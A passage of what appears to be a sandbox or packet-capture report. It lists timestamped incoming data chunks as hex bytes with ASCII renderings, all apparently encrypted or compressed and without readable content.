9b 3a 85 fb 66 c8 c4 17 15 30 7b 41 11 dd cd fd 5a f8 2a 21 aa f7 5c ab 1d ba 24 d0 30 2e Data Ascii: gf2sj&d(%UN[\|iHJ&omSKA>5yb UZ?VA+]0'kA&:6PRjX0'y[xcuP,D,mrU:FwAXhkRu95d(zB<y)}R7i:_Rt:f0{AZ!\$0.
2023-03-17 14:07:55 UTC	2400	IN	Data Raw: 2a 0b 6f f1 d7 ba 34 96 75 aa 4f 41 d6 a5 3e fc 0d 22 d8 62 6d c5 8b cb f8 61 04 99 9e 2a bd a5 a2 3a 59 e6 44 cd b5 49 a3 8a 73 18 2b f3 e9 c0 21 98 35 b5 d8 25 dd f4 5f 38 f8 a1 16 14 9c 14 35 4e cc ac ba 5c 09 97 a5 61 31 5e f6 d4 7a e2 a8 d8 d8 bd 15 98 08 42 d1 51 a3 7a a7 7a c0 2f 2b 0d 1d 9a 63 c0 88 1b ec 25 51 3c f8 ee d3 1c b5 2e 88 0c 99 7c cd b7 72 9b 08 7a 78 f9 4f 8b c6 66 cd 75 62 6a bd 69 03 30 b8 44 a3 b8 30 97 67 bd ec 55 f6 22 4a 58 f3 1d c0 04 2c 04 4f 55 7c 54 4e 76 d4 02 50 0b d1 c6 6e a3 d6 3e ba b8 9e 5c e7 e1 52 a8 5e 60 7c 96 7e 1b 4d 8a 90 1e 4a 6a c0 b6 87 9f d2 e2 d1 14 c1 cf 09 9b a7 07 a5 58 57 34 b8 af e4 9b 32 7f fc 06 a7 6e 6b 0a c7 23 69 04 c0 89 e7 d6 1b b3 89 d5 4f c5 10 d8 39 c7 3e 04 20 18 20 90 b8 ff 71 71 21 fe 50 Data Ascii: o4uOA>"bma:YDIs+!5%_85N\a1^zBQzz/+c%Q<.\|rzxOfubji0D0gU"JX,OU\|TNvPn>\R^`\|~MJjXW42nk#iO9> qq!P
2023-03-17 14:07:55 UTC	2416	IN	Data Raw: ba 5a 27 49 65 ea 82 f1 62 55 da 19 64 ce bf 71 be 22 11 85 7b 94 42 68 93 31 c4 53 d7 4c a6 85 41 e1 25 ab 47 ad 81 cf 7c a4 13 85 d3 62 82 fa af 33 d6 fc 30 23 6b 1d ed 8e 59 d3 1e c4 c6 96 b8 fb 7c cc 53 94 80 21 ed f9 4f 35 99 6d fe 06 6c 1e 35 27 6c 57 31 43 21 82 a8 24 06 49 5b 61 a6 01 7b 28 ef 49 e6 e0 dc a1 d9 cb 2c 60 bd d4 56 a4 5c 9e 61 3d 1b 3b 5c 3d 8c 96 44 0c d9 be 6d d4 5a b4 c8 0a d5 24 80 bc 07 23 4f 0e 90 cc 02 c9 8d d1 3e 2a 8b c3 12 70 87 a1 cb 4b 80 36 22 b3 37 90 79 9b 41 fc a6 e4 6f e8 05 b8 13 c1 66 63 36 e9 1c 84 8e 1a f8 b4 c5 4a a6 f5 93 d3 6e 64 53 6a 4c a7 fa 85 0c 12 7b 18 04 50 a7 75 b6 84 0c b8 04 b9 02 ae c6 c5 83 44 86 71 be 85 39 93 d0 b6 88 0d d2 a4 dc 30 ae dd c9 bc f7 e0 c7 c5 6d 64 f8 15 26 f6 ae 07 9c 83 c9 db 7e Data Ascii: Z'IebUdq"{Bh1SLA%G\|b30#kY\|S!O5ml5'lW1C!$I[a{(I,`V\a=;\=DmZ$#O>*pK6"7yAofc6JndSjL{PuDq90md&~
2023-03-17 14:07:55 UTC	2432	IN	Data Raw: cc 04 84 72 92 24 28 60 24 c1 8e 4a 86 b9 c6 aa 04 58 03 e5 bb 47 b0 7c 13 4c e7 d6 cf eb 6a 0d 25 c8 bd b5 dd bb 5f ff 0d 73 a5 27 b7 cb 61 d4 5b 8a 52 11 25 b5 b4 f9 aa 88 31 ce 64 cb 4d 7d 91 c2 ea 1b d2 27 9c 2b 2b a2 52 ba 59 13 e9 05 d5 24 fe d8 58 4d 7a 40 13 0f a8 c0 b4 76 c0 05 9a e7 55 cb ec 60 af d9 ed 2c 35 1c a5 5a 11 cd b5 ce bd dc 0f 17 b0 a1 de 83 41 fa 4c cf 9b f1 5e 9c 97 e5 c5 f6 98 bd 15 2f f6 42 05 e6 5e 58 90 d8 cf 24 15 55 4d 7a 11 a1 88 66 b7 ee 65 c1 65 5b a2 d7 d2 9e 8c 21 57 60 13 b8 98 25 d7 ad 7f 43 2c f4 41 cf a3 85 70 1c 51 2e 13 b7 14 87 73 8c a0 18 6d c4 2e 59 1c c4 99 33 ac 27 20 76 d7 2e 2a 2d 10 75 4a 00 3e 26 0d 81 a3 95 a0 ff 4d 61 96 7b cb 11 63 9a 7c d3 c6 4f a7 d9 47 b0 1e 9b 05 61 0a 73 01 38 c9 55 db 82 71 a4 6c Data Ascii: r$(`$JXG\|Lj%_s'a[R%1dM}'++RY$XMz@vU`,5ZAL^/B^X$UMzfee[!W`%C,ApQ.sm.Y3' v.*-uJ>&Ma{c\|OGas8Uql
2023-03-17 14:07:55 UTC	2448	IN	Data Raw: 67 28 01 75 f1 16 fc a5 0f 89 0e ad 5f 08 65 3b 34 88 8f 06 06 8b 37 b6 f2 d6 a7 98 69 b7 11 53 35 0f b2 c7 91 09 05 67 4c 5a d2 3a e2 1e ec 33 7a 19 5d 9f 7c be cd fe 46 0c 9c d3 98 f8 dc 55 d5 5d 58 23 19 20 89 c4 e6 f9 91 f9 02 8a b8 f9 a1 4f 55 f0 0d a8 2a 59 89 25 55 89 f5 2f 2c 77 50 37 b1 f8 06 1f a1 be 43 22 79 c9 90 96 86 2d bf ef d7 14 b4 df 75 42 33 51 bb df 6e 02 67 ba a6 29 0e 63 02 53 9d 12 7a b4 60 c0 80 90 62 37 88 73 35 f1 03 d6 c7 a1 4f 0f 91 20 40 45 d2 97 f4 8d 10 01 fe 0f 52 64 e6 35 87 14 0a d7 22 14 c2 b3 c6 29 97 dd 79 62 38 b4 89 97 9d 26 dc 8f 28 83 97 cf 88 9b 1e a3 a0 ae e8 f8 3f 07 9e a2 12 ce 56 b3 75 47 3e 86 13 f4 a2 dd a5 1e 56 9c cc 97 d9 0a 3e 49 32 8c 2e 34 6c e6 af e2 44 b0 a3 5b 99 5d 57 f0 27 dc f4 bc 0e 6e 9c 94 da Data Ascii: g(u_e;47iS5gLZ:3z]\|FU]X# OU*Y%U/,wP7C"y-uB3Qng)cSz`b7s5O @ERd5")yb8&(?VuG>V>I2.4lD[]W'n
2023-03-17 14:07:55 UTC	2464	IN	Data Raw: 16 c0 5c f8 34 b0 99 d7 d0 18 2d d1 96 1e ed 06 2e 18 00 34 73 fa 52 04 0c 7e 16 05 cb cd 3c 78 60 96 f7 f8 f1 fc b5 7d 1a 06 fe f4 f1 89 9a 34 f0 54 32 b7 2c db 75 42 49 21 86 ee 7c f4 7a 89 56 24 e1 3c cd d5 7b 73 be 76 99 61 c6 94 bd c1 06 d9 dc c4 f0 7f 2b fc da a1 c8 e5 0f bc f4 fc 85 0b 90 95 29 a4 d2 aa 14 44 ce a4 7a d3 82 37 a3 1b 41 28 50 81 c5 04 aa 4d 77 05 b6 3b 60 0a db 3d b5 05 38 bf 6a 86 4e 86 d7 be 4a 96 a7 ef 5f 85 62 31 1d a4 8f 87 75 3c 18 f0 3c 83 54 4c 7b 63 06 b8 48 85 6a 0f ef 3c 89 49 0d e6 58 f2 f6 32 e0 de 2a cb 1a 68 6c aa f7 14 ee 70 6e a1 b5 d0 f0 41 c2 0b 4b f1 79 d9 a0 14 83 9a a7 c9 b7 33 ed f9 8f b7 c3 3e 94 a9 5b 40 dd 5a cb de df d6 2e 19 7a 34 84 4b c9 26 5d 52 c7 a6 22 b9 77 d1 7a 0f 83 5e d6 73 dd a9 39 c4 e7 af f4 Data Ascii: \4-.4sR~<x`}4T2,uBI!\|zV$<{sva+)Dz7A(PMw;`=8jNJ_b1u<<TL{cHj<IX2*hlpnAKy3>[@Z.z4K&]R"wz^s9
2023-03-17 14:07:55 UTC	2480	IN	Data Raw: a7 0c 5f 1b 53 42 58 65 bc 11 9c 06 2a d3 e1 24 5c ba 6a 02 01 be 97 27 49 18 13 d4 d8 94 b9 98 c4 3e 3c d3 fd 9d d8 37 17 9d 56 4a b0 95 3f ce b2 91 4a c6 15 37 93 96 c9 32 1e bf 56 4f fa e3 ee 34 74 eb cf 9b ef cf 47 6c d6 74 49 2d d9 7b fc ef 78 e5 b7 29 d3 80 49 21 c1 f7 d7 4f 34 82 67 70 8d 50 0e 13 20 5b 3c cf 85 06 a7 48 1d b4 b3 4a 4c 0d 7d be 8c f1 6a a5 cb 13 52 bf 39 c9 d3 c0 e2 9a 10 e2 ff 60 c7 0c 76 9f 4b d9 d8 c0 f0 b7 47 61 8f 28 5e c3 82 af f4 13 03 2c 7b 56 1f 7f 93 fa 17 5e 2c bd d6 5f 13 c4 2e 66 83 a1 56 ca 11 73 ab c7 4f 2f 2e 30 71 ce 59 7a 07 0d 5b 32 a9 d2 17 a7 52 95 0e 76 59 0a c1 0b 92 c7 5b a5 ef f3 3d 33 fd bc c3 dd 4e 90 df ba 51 3d 82 29 a0 3d 92 f9 61 23 d3 5a 9b 9d 02 61 42 a0 45 62 99 92 77 73 c9 d3 a0 8b 68 e4 e7 52 44 Data Ascii: _SBXe*$\j'I><7VJ?J72VO4tGltI-{x)I!O4gpP [<HJL}jR9`vKGa(^,{V^,_.fVsO/.0qYz[2RvY[=3NQ=)=a#ZaBEbwshRD
2023-03-17 14:07:55 UTC	2496	IN	Data Raw: db 2e 76 02 17 98 2a 4b f1 73 83 3f c1 eb 70 60 b2 2e 48 ef e8 be af d8 73 f9 a3 ac a9 c0 49 c6 2d 3b 3c f0 85 7e 4c bd 7b 64 3e e7 df 27 0b de 6f 38 7a 3b f7 33 f0 60 bb 3a 08 71 c4 9e b6 fc a2 7c 6c da 94 3a 28 e0 58 50 09 10 95 9a 27 3e b9 bd fc 75 1f 13 5e be 17 fe c1 1e 4a e4 07 47 8d 3e 5b 4e 73 83 00 e2 db 44 4c 17 88 fb 48 af 24 0c 2a 8f 51 1e b2 6d 88 1e db 17 0c 1c 5f 76 95 7b 4b 50 63 3d 5d 2a af d5 8c f4 02 ae db 8f 7b 69 5b 13 75 02 38 46 98 90 6f 62 2c ab 8d fd 87 b3 b8 3e 51 23 d2 94 7e 07 63 fc 24 bb 72 7e fb f8 83 70 32 f8 3b 0f df 93 a6 7f 36 57 69 35 8d 9b 57 cb e1 ab 36 bf d1 fc 3e a1 33 8c 26 b4 d1 5e 75 ed 02 4a f6 54 ab 61 d5 58 fe b0 98 57 33 a9 eb fa 90 ef a2 67 fd f1 21 7c 77 5f e3 29 ec f7 f7 3d b4 42 bc 16 69 0d 68 31 44 19 fc Data Ascii: .vKs?p`.HsI-;<~L{d>'o8z;3`:q\|l:(XP'>u^JG>[NsDLH$Qm_v{KPc=]*{i[u8Fob,>Q#~c$r~p2;6Wi5W6>3&^uJTaXW3g!\|w_)=Bih1D
2023-03-17 14:07:55 UTC	2512	IN	Data Raw: 10 4c ae 20 e6 e8 cc 69 ef 0e 15 72 cd cf 79 da dd 03 46 01 54 ec 03 50 af c7 8b 32 9e 5a 2c a9 c8 de 99 f4 98 f2 33 72 fe 54 8d c8 65 ca be 1a 15 4d 09 73 9b 9d 7f 54 0d cb b5 0f 6e e0 41 f2 e4 76 31 8a 30 d1 7b 46 ea 63 35 64 12 0b 35 fd 2a 26 51 df 6e 85 03 32 d6 3f a4 14 76 43 34 e2 88 be d6 1a a1 76 82 b5 43 2d 1a 3f 97 29 42 5a 5a 12 73 64 db 19 b7 75 b3 54 18 e0 ee 33 61 6f 09 fa c6 31 0f 74 32 ab 13 9f 17 8f 70 28 68 e2 e9 a2 2a a3 96 f9 f8 41 38 a2 4b b7 25 33 69 f9 5e 47 d8 10 8b 4e ec 0d f2 ea f5 68 fa 41 c2 8d be 84 23 59 17 52 78 c2 8d 46 0a b9 08 1e 36 d3 4b 55 37 5a c7 fb 7d ca 5c 93 9a 4f a3 c2 ed 55 4f f8 6e f8 64 70 c3 9d 43 3b 79 54 83 28 06 57 6f 58 11 8f b5 56 c5 a4 c3 df c7 47 99 13 1b e8 a6 23 bb 20 f7 bd 1e 49 af a5 f0 28 de 37 78 Data Ascii: L iryFTP2Z,3rTeMsTnAv10{Fc5d5&Qn2?vC4vC-?)BZZsduT3ao1t2p(hA8K%3i^GNhA#YRxF6KU7Z}\OUOndpC;yT(WoXVG# I(7x
2023-03-17 14:07:55 UTC	2528	IN	Data Raw: 5f a0 0f c8 0d 90 1f 08 33 f6 e6 04 bd 41 1e 09 be 7a 11 e3 90 f3 fd d4 9e 2c 34 3b 64 68 3b 46 11 d1 21 06 51 6a b1 0e 7c 81 61 55 30 b0 28 72 cd fc 0e c0 f0 b1 75 9e 84 63 e5 d2 2d 0d 14 ae cc 66 7e 61 b0 91 69 b2 45 e1 99 0c 79 28 34 89 66 39 69 20 dc c5 79 20 38 95 c1 43 99 5d 88 e8 d5 b9 7b 7c 95 8c 4f 4c 86 8f 59 5d d0 da 81 eb a3 e3 af a0 2a a6 fb 3d d8 aa 69 10 35 3b 28 d7 45 a0 f7 1a 7a 0d 1e 2e a5 6b 53 64 ac 0e 10 94 19 25 23 f3 f0 69 68 0b 65 05 37 26 de 7b 20 79 a0 33 95 57 0a 82 e6 8f e1 b2 f3 9b a0 f7 3e 6d dd 31 f6 b6 b2 15 a3 54 68 33 57 f0 39 e4 14 5a eb e6 a0 80 12 01 7f ca 6b 41 1c 59 8b aa d2 06 da 6d 33 a1 e2 24 fa 2c 2b 43 6a 2f d9 60 23 74 c9 c8 fb 62 9e 46 97 49 84 eb 84 ce d4 16 e8 34 30 07 b2 28 4a b6 1a 52 0c 17 b9 8d 65 74 a4 Data Ascii: _3Az,4;dh;F!Qj\|aU0(ruc-f~aiEy(4f9i y 8C]{\|OLY]*=i5;(Ez.kSd%#ihe7&{ y3W>m1Th3W9ZkAYm3$,+Cj/`#tbFI40(JRet
2023-03-17 14:07:55 UTC	2544	IN	Data Raw: 52 ef 07 57 f2 14 f2 c4 33 b5 4e cf 7a fa 37 c6 ac 82 a9 2e 0a 9c 0b f7 fe ff 86 eb ef 43 b4 f8 09 41 89 ab 1b 41 bb 3d ca ba 60 88 e3 ca 7f e0 3a e6 f7 ab 36 55 a6 70 fe 35 1f f7 2f f0 fb b0 e8 b1 4e 27 9d 88 76 5a cb 8e ac 4c 86 e7 31 dc 91 c9 df 79 45 a3 37 dd 80 b7 df d1 d2 17 eb e2 e5 98 a1 d4 2a 4b d8 f0 df 3e 3d 61 16 44 dd fe 92 bb 81 87 b4 56 b6 5d 3c e0 0a 2b e8 06 1c 4a d8 bb a7 e7 5f 13 ae 17 52 bb 07 b5 cb a9 56 f5 a5 31 85 9a 51 7c c4 27 44 38 13 e3 cb 12 43 60 c0 9d 3d c9 60 7b 38 b0 dd c5 2e e5 6e 6e 0e 40 f1 42 e0 92 0e 62 db fa a0 d2 ad ae 05 8c 67 f9 94 69 5c 98 48 99 f7 f2 e4 e3 cd 18 8e 7e e0 72 b9 21 2f cd 0c e2 a3 6b 0f 5d cc b8 4e 38 0f 10 20 2e 36 dd 20 19 10 b8 ba 1a 45 dc 9f 9b 2c b4 76 0c dd 6e ec 21 62 e5 c2 30 11 60 44 da 00 Data Ascii: RW3Nz7.CAA=`:6Up5/N'vZL1yE7*K>=aDV]<+J_RV1Q\|'D8C`=`{8.nn@Bbgi\H~r!/k]N8 .6 E,vn!b0`D
2023-03-17 14:07:55 UTC	2560	IN	Data Raw: db 33 0f 6e 86 75 8a 16 ab bc bf 28 a9 4a 5d 36 c9 f6 c6 8b 6d 64 de 22 c6 96 b9 1e 91 23 61 fd 74 80 df 64 5f 2d 1b c4 f2 09 c0 dd db e2 77 82 6b 8b 83 06 70 cb 25 b6 68 9e 3a f9 8d 62 87 56 29 2b 06 d3 52 18 49 63 35 09 04 72 be 96 ed d1 12 9d 97 2c 2d 6f fa 25 94 62 84 6f bd ed dd 8f 82 5b 92 94 cc 5e d2 16 05 9c 6e 2a 1c 35 8a c2 4d 65 62 af a2 84 e7 fd 26 03 e4 96 16 d7 a7 7b d0 16 1b 38 d4 83 73 26 75 87 94 77 df 20 69 be 22 01 4e de 2b 2b 6b 57 9c 53 ac fa ff 29 47 1f b3 f9 4f 6e 57 54 a9 19 b9 e3 30 bb 5d 5f e5 5c 06 3e f2 56 69 25 29 a8 e6 94 20 4f fa 8e 23 81 69 20 23 1d c3 76 69 a8 55 de 9c 81 bc 03 a6 94 0d 84 e3 4b 3a 03 f2 f1 9a 39 d9 8a 4b e9 75 04 ef ba 43 33 b9 80 30 df 2f 72 1c 07 77 7a 60 15 63 bf e0 c2 82 c2 18 6b c8 b6 39 a8 3b 02 f5 Data Ascii: 3nu(J]6md"#atd_-wkp%h:bV)+RIc5r,-o%bo[^n*5Meb&{8s&uw i"N++kWS)GOnWT0]_\>Vi%) O#i #viUK:9KuC30/rwz`ck9;
2023-03-17 14:07:55 UTC	2576	IN	Data Raw: dc 75 6e 32 c4 ee cc 0c c5 1a b2 b9 e3 52 33 be 90 d5 a1 9b 24 45 55 1e 58 b8 64 47 e9 2f c9 1a 6e 0a 4d a0 37 60 67 02 9c 32 d0 53 e6 03 88 34 b0 5e 8f 4c 8b e6 a0 ce 16 be 62 cb d7 af 12 87 58 35 a7 30 c8 47 f6 49 69 eb 0b b6 dd e4 9b ba 4a c1 f7 6e a5 92 f8 b3 cd c5 97 66 36 f0 23 43 2d ab 38 6a 11 bb ad e1 c9 83 da d5 66 75 c1 c0 ce f8 9f c0 61 b3 a7 f5 a6 aa 48 41 11 a0 1e a0 81 e4 85 7d 83 51 8d a5 e8 96 10 21 48 d2 a3 0d 50 b4 20 32 73 17 94 f4 0a 1d 9f 42 cc 53 92 24 44 9f 45 02 58 56 c8 55 51 fb 73 a7 aa f1 3d b0 b7 ab 52 3f 8b d7 0b 87 11 99 0c 7e 96 e7 b4 ff f4 81 21 3c e4 a4 43 ea 72 84 14 80 e1 a7 2a d8 cb 6c e3 a9 30 26 a8 31 27 e8 84 1b da f7 ed ea ec 78 ba d1 d3 02 be 0e 80 05 e9 cc 19 69 34 e3 75 7f 43 e6 b6 0a 01 48 aa 67 b4 a9 29 40 3f Data Ascii: un2R3$EUXdG/nM7`g2S4^LbX50GIiJnf6#C-8jfuaHA}Q!HP 2sBS$DEXVUQs=R?~!<Cr*l0&1'xi4uCHg)@?
2023-03-17 14:07:55 UTC	2592	IN	Data Raw: af 82 75 68 e7 75 90 23 b9 13 f5 bc 2f 92 32 d4 c5 02 33 85 3d 47 57 e0 7f b6 68 d6 83 49 cc 75 8b 30 be 89 65 f8 95 7f d6 11 08 b1 c4 ca 78 bf 85 09 6b 2f e4 3c e3 ce 30 fe d3 a1 3f 51 e5 74 68 7a 57 af 68 8e b1 72 0e 4e 84 85 44 bb 79 c8 ff a4 87 65 bb bf f8 28 3e 7d fa 87 5f 3a bd 47 70 27 52 59 df 52 8a b5 35 cc eb b5 24 c6 85 0c e3 db db 42 51 bf a5 5b 5f b6 30 60 ab eb c9 24 f4 b0 41 b3 ee 87 f8 d6 bd 33 f8 ce e4 84 d9 48 36 78 91 cc e3 01 66 7e f6 47 d0 65 bd e1 f0 97 fb b9 d9 ef 5c 0b 3f 4b b0 a5 41 a4 60 9a 4c c5 eb c1 dc 07 14 dd fe a0 d6 03 69 7e c7 a6 9f 61 9c 8f 55 45 98 11 0f 9d 88 e7 59 54 1e 50 c0 88 29 cb e6 10 61 ab 4f ca f6 67 1c 23 11 00 93 c0 c7 ef 72 4a 32 02 17 1a 79 76 bd 3b f8 47 cc 16 b7 1f 71 17 01 46 11 bc 66 1d 77 6b f6 4a 6e Data Ascii: uhu#/23=GWhIu0exk/<0?QthzWhrNDye(>}_:Gp'RYR5$BQ[_0`$A3H6xf~Ge\?KA`Li~aUEYTP)aOg#rJ2yv;GqFfwkJn
2023-03-17 14:07:55 UTC	2608	IN	Data Raw: 23 de 17 11 cc dc 37 2c f5 09 38 8c 2a 22 14 e5 f8 e4 50 8c a4 21 8d e5 17 03 38 82 35 56 75 90 d6 40 aa 84 25 cc 7e 31 17 f6 4c 5d de 35 b6 f3 8b 23 a2 26 43 7a d2 81 f0 c4 6a 8e 01 f3 1e 2e b1 fc e5 a7 ba 9c 00 28 ab 39 c3 ef e6 6f c3 65 5f f9 8b 9e 7e 44 9b 4d 46 51 72 33 71 2f a6 0a ba 53 4b ad 6c fe 57 cd fa e7 7b 57 95 c3 ea e0 c8 63 7d ba 24 71 04 c5 6c be a6 60 b3 ad 0f 12 21 bd ab 91 05 d5 7c 2f 6e 1a 28 df 30 95 c0 37 aa 33 77 05 76 8c f0 37 d7 97 c2 0b b8 18 85 78 09 2b 8d 7b 2f 5d 91 fd 90 51 3f 89 5e e9 a1 d0 c6 aa 4f 36 86 fa a6 6d 0b 28 85 75 4d 74 65 57 9f 24 62 64 5a ec 71 db ad f8 ec dd 4f b1 01 f7 a0 9e 71 61 20 64 5f 07 c3 51 5d 02 07 11 07 f0 b9 fb ef 44 b0 f3 f3 6a 4f 20 0f 96 00 c9 79 d3 27 03 3f 8a 77 c9 e2 fb d6 7e aa 9c 0d 82 a2 Data Ascii: #7,8*"P!85Vu@%~1L]5#&Czj.(9oe_~DMFQr3q/SKlW{Wc}$ql`!\|/n(073wv7x+{/]Q?^O6m(uMteW$bdZqOqa d_Q]DjO y'?w~
2023-03-17 14:07:55 UTC	2624	IN	Data Raw: 62 b4 13 76 d8 61 f5 5c 81 cd 6a db 88 30 5b 28 8c a4 eb 16 6a 7f bc 64 07 e8 ce a5 80 ba 77 a1 56 b4 8c d6 57 a5 dc 34 74 18 2f 3d bc 2c ee cc 61 3a 72 0a 1d c4 90 08 75 a4 a3 b7 b9 b7 92 6b fc b7 08 29 91 0a ee 24 4b 82 22 58 47 7c 4f eb ad 62 0e b0 22 70 27 9d 70 be 2e 36 49 96 d7 8e 1a 7f ec 94 dc a9 b2 66 0d c3 7b 49 10 32 d0 37 0a 49 6c 01 9d ad e9 7b d3 ed e7 61 2e f3 ea 29 eb e0 3e eb eb b6 ea 0b d7 4b d8 7f 07 0d 61 aa b8 bc 51 db 70 1b d0 30 bc a5 2a 39 0a d1 48 f8 c9 be 72 c2 ee 10 50 89 fe 8e 0a 5f 57 8a e0 17 2e 35 ae d1 31 95 88 c8 c2 ef 0f fa c2 26 a4 41 9f b8 c1 d1 83 86 e6 26 72 91 7a 3e bf 25 bc 6c f0 68 76 f4 63 35 8e 79 b9 32 d9 cc 5e 10 eb 74 fb db 2c c3 d6 75 9d bf e1 1e 5a 53 8d 1a b4 df 3d 4c 7d 81 fa 49 4f d5 33 29 3f 47 0b d4 a5 Data Ascii: bva\j0[(jdwVW4t/=,a:ruk)$K"XG\|Ob"p'p.6If{I27Il{a.)>KaQp0*9HrP_W.51&A&rz>%lhvc5y2^t,uZS=L}IO3)?G
2023-03-17 14:07:55 UTC	2640	IN	Data Raw: 16 8a 09 54 41 13 0e ec 8a 30 9c 69 d8 7c 0c bd 08 9f 7a a7 f4 dd 0a 39 bd 97 3c 36 f6 58 e0 da 85 89 16 68 68 c6 47 2c 87 60 af 86 4b 51 5e eb 31 d4 44 dd 61 b5 9f 4c a8 9b f4 b5 37 76 e0 cc 95 8b ac 06 1b 60 fa 5c 7a e6 67 07 bc a4 35 c3 a1 ba f9 b1 b3 50 32 7c c0 22 a0 c9 9a 60 77 55 b4 fb 0e f1 6d b5 fd 86 a9 0e 0b fa ef d7 f6 12 66 5e 76 90 a1 4f f4 c7 b4 31 6e fc 98 75 b4 5f 61 25 ec e9 90 bc e0 36 44 9a c7 38 d0 23 0a c4 6a 7b 20 37 39 ad 72 a5 47 49 95 b7 4d 44 50 f7 ce 0c d1 25 39 58 a3 ef b4 f0 56 9c 1f 5c 7c e1 9c a8 05 7a 9e 9f 76 e8 66 bd 50 13 5a 05 db 24 7a 56 3f 77 68 59 34 1b 2d 9d ff 4b e2 ba 2c b6 b0 28 53 cd 47 30 02 5c 7f 54 1c e9 eb 92 d6 14 79 ec 5d f5 ef 28 13 d1 67 69 60 dc 4f a0 42 34 6a 91 26 59 b9 c9 90 63 53 6f 2c 69 5d 7b 2e Data Ascii: TA0i\|z9<6XhhG,`KQ^1DaL7v`\zg5P2\|"`wUmf^vO1nu_a%6D8#j{ 79rGIMDP%9XV\\|zvfPZ$zV?whY4-K,(SG0\Ty](gi`OB4j&YcSo,i]{.
2023-03-17 14:07:55 UTC	2656	IN	Data Raw: a7 a4 9f 58 4c 95 22 d3 28 35 30 3f 30 f1 71 9f c4 4b 57 c0 7b bb 75 e9 35 aa 60 ab cc 1d 69 20 56 b4 03 09 38 de ed 7a 48 40 20 de 45 aa 70 24 05 e7 0a 7b 91 db 44 fa 0c d2 9b 06 37 77 ec 0c 1b cf 6c b3 c7 6f 27 10 9a 9e 9c e4 cf c3 f0 1c ec 2f 28 e2 65 4a 19 6c 46 0b 76 70 89 3e 78 4b 30 03 37 f0 23 cc 40 27 fc ee 9a 10 d2 7e dc 55 24 1f 93 3b 44 93 3c 5c a2 e0 75 27 b4 d0 43 09 a5 db 89 4c ad f5 76 ff 47 20 f4 bf d7 2e a3 99 29 57 eb 93 4a 52 68 5b e4 1c 18 4e 9a ff 2f a9 cc 7b b3 9e 4d ae 10 a9 2d 1c 41 ab a2 73 f7 a7 4f 49 e4 0a e0 6e 26 71 06 5e ea f6 07 7c c8 fe 6e 0b 7d 10 a0 0c 72 16 c2 a2 b6 f8 bc e0 e4 15 31 a0 2d 48 c6 ef ca 7a 09 1d d3 5c 3a 30 d1 51 2e 14 ff 00 56 b6 ce 10 ba 00 08 b4 f5 36 39 c2 84 0a 72 4d 98 f6 40 85 a0 bb b4 81 d5 ec 84 Data Ascii: XL"(50?0qKW{u5`i V8zH@ Ep${D7wlo'/(eJlFvp>xK07#@'~U$;D<\u'CLvG .)WJRh[N/{M-AsOIn&q^\|n}r1-Hz\:0Q.V69rM@
2023-03-17 14:07:55 UTC	2672	IN	Data Raw: 14 fd dd 09 b3 cb ed e2 d5 56 75 59 4d bf 8a 60 a8 10 61 4e 27 f0 39 ab 42 d3 27 6b d1 b2 97 31 2e e0 32 3b 2c 9c 18 ac 9f 93 d9 74 fa 76 be ff 20 fb 95 02 03 9f d2 0e ff fa ea 8b 03 ec 06 f4 fc b4 16 c7 f9 61 d7 98 b9 49 47 10 9b fd 51 23 01 86 d1 29 dd f2 43 33 03 c1 19 a5 b4 84 6b c7 31 5c 1f e8 e3 2f ac 5a c0 2a fb 00 ed 43 6d c0 63 cb a2 33 79 63 51 f3 70 3c a4 d5 85 7c 1a ee e0 8a 78 f0 8a b3 26 74 50 72 89 61 9f 24 6a 49 fc 1b 2b 81 09 0b cc 3b 8e 1c 75 16 ad d7 bf c7 96 5f 2f d2 dd 3f 05 ef f0 fd d5 0c 3b f7 a7 19 50 ea f9 51 99 fd b4 26 12 54 ca ef ca bc 5a 24 c8 3e 04 99 97 44 50 c9 5f 11 4d cf fe be ed 56 c6 b7 0e bb fa 0c ae c8 3b 8e f4 d5 b2 c1 2d 44 05 50 84 b3 8d 56 63 b5 97 d7 28 77 fa 55 13 1d b1 9a 84 10 3a 6d e2 e5 e3 21 79 5d 21 56 7f Data Ascii: VuYM`aN'9B'k1.2;,tv aIGQ#)C3k1\/Z*Cmc3ycQp<\|x&tPra$jI+;u_/?;PQ&TZ$>DP_MV;-DPVc(wU:m!y]!V
2023-03-17 14:07:55 UTC	2688	IN	Data Raw: 72 e5 f7 33 ca dc b4 d9 28 48 11 25 d8 9f 0e b2 41 43 b0 df 03 61 a0 08 28 ed 7e 36 d5 88 53 08 0f 9c 50 c6 8e 8a c4 43 bd 9a 54 24 0f 56 79 0a 49 fa 5a fe 91 b0 76 bd 76 85 79 62 e6 a3 60 71 dd 8e b1 55 6c e7 40 88 f3 1e 9b ea 42 e2 0e f0 17 04 c9 02 80 2b ed 74 cb 6d 54 f8 1c 96 08 fe f8 0c b2 d8 2c 38 9a e5 84 de 42 c7 41 ba 1d c0 54 fd 3b 0a b5 88 f7 b1 29 af 99 21 8b f6 63 5f af c8 bc 5f 50 28 e8 35 1e a6 2e 8b 56 9c 5d 66 76 e4 0b d0 72 14 59 34 5b 39 78 19 84 1c df 90 52 cb 2b 0b f7 43 96 dd 68 c6 30 60 48 8e a4 e2 58 f4 dc a0 0e 2a 7c e7 8e 82 74 ec b8 74 04 8c 41 1a 36 30 27 4d 27 a8 5f e2 aa 12 c0 8c 2c 0b 66 52 9c 27 14 a6 c9 42 06 8d e5 e1 5b a9 e2 ae 2b 5a 49 25 ae b4 72 1b b6 68 77 06 fc c5 a1 99 bb 68 1c ca f4 35 91 44 d5 e9 94 95 f4 bc f3 Data Ascii: r3(H%ACa(~6SPCT$VyIZvvyb`qUl@B+tmT,8BAT;)!c__P(5.V]fvrY4[9xR+Ch0`HX*\|ttA60'M'_,fR'B[+ZI%rhwh5D
